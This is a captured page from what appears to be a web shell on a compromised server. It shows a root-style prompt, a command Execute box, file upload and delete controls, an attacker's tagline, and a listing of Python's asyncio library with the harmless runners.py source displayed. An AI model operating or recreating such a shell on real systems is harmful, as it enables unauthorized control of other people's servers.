opt
/
alt
/
python310
/
lib64
/
python3.10
/
asyncio
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] __pycache__
N/A
__init__.py
1.08 KB
Rename
Delete
__main__.py
3.30 KB
Rename
Delete
base_events.py
72.60 KB
Rename
Delete
base_futures.py
2.51 KB
Rename
Delete
base_subprocess.py
8.64 KB
Rename
Delete
base_tasks.py
2.41 KB
Rename
Delete
constants.py
888 bytes
Rename
Delete
coroutines.py
8.59 KB
Rename
Delete
events.py
26.71 KB
Rename
Delete
exceptions.py
1.59 KB
Rename
Delete
format_helpers.py
2.35 KB
Rename
Delete
futures.py
13.85 KB
Rename
Delete
locks.py
13.79 KB
Rename
Delete
log.py
124 bytes
Rename
Delete
mixins.py
803 bytes
Rename
Delete
proactor_events.py
31.78 KB
Rename
Delete
protocols.py
6.79 KB
Rename
Delete
queues.py
7.85 KB
Rename
Delete
runners.py
2.05 KB
Rename
Delete
selector_events.py
38.77 KB
Rename
Delete
sslproto.py
26.82 KB
Rename
Delete
staggered.py
5.85 KB
Rename
Delete
streams.py
25.15 KB
Rename
Delete
subprocess.py
7.23 KB
Rename
Delete
tasks.py
31.70 KB
Rename
Delete
threads.py
790 bytes
Rename
Delete
transports.py
10.47 KB
Rename
Delete
trsock.py
5.74 KB
Rename
Delete
unix_events.py
50.41 KB
Rename
Delete
windows_events.py
32.66 KB
Rename
Delete
windows_utils.py
4.94 KB
Rename
Delete
__all__ = 'run', from . import coroutines from . import events from . import tasks def run(main, *, debug=None): """Execute the coroutine and return the result. This function runs the passed coroutine, taking care of managing the asyncio event loop and finalizing asynchronous generators. This function cannot be called when another asyncio event loop is running in the same thread. If debug is True, the event loop will be run in debug mode. This function always creates a new event loop and closes it at the end. It should be used as a main entry point for asyncio programs, and should ideally only be called once. Example: async def main(): await asyncio.sleep(1) print('hello') asyncio.run(main()) """ if events._get_running_loop() is not None: raise RuntimeError( "asyncio.run() cannot be called from a running event loop") if not coroutines.iscoroutine(main): raise ValueError("a coroutine was expected, got {!r}".format(main)) loop = events.new_event_loop() try: events.set_event_loop(loop) if debug is not None: loop.set_debug(debug) return loop.run_until_complete(main) finally: try: _cancel_all_tasks(loop) loop.run_until_complete(loop.shutdown_asyncgens()) loop.run_until_complete(loop.shutdown_default_executor()) finally: events.set_event_loop(None) loop.close() def _cancel_all_tasks(loop): to_cancel = tasks.all_tasks(loop) if not to_cancel: return for task in to_cancel: task.cancel() loop.run_until_complete(tasks.gather(*to_cancel, return_exceptions=True)) for task in to_cancel: if task.cancelled(): continue if task.exception() is not None: loop.call_exception_handler({ 'message': 'unhandled exception during asyncio.run() shutdown', 'exception': task.exception(), 'task': task, })
Save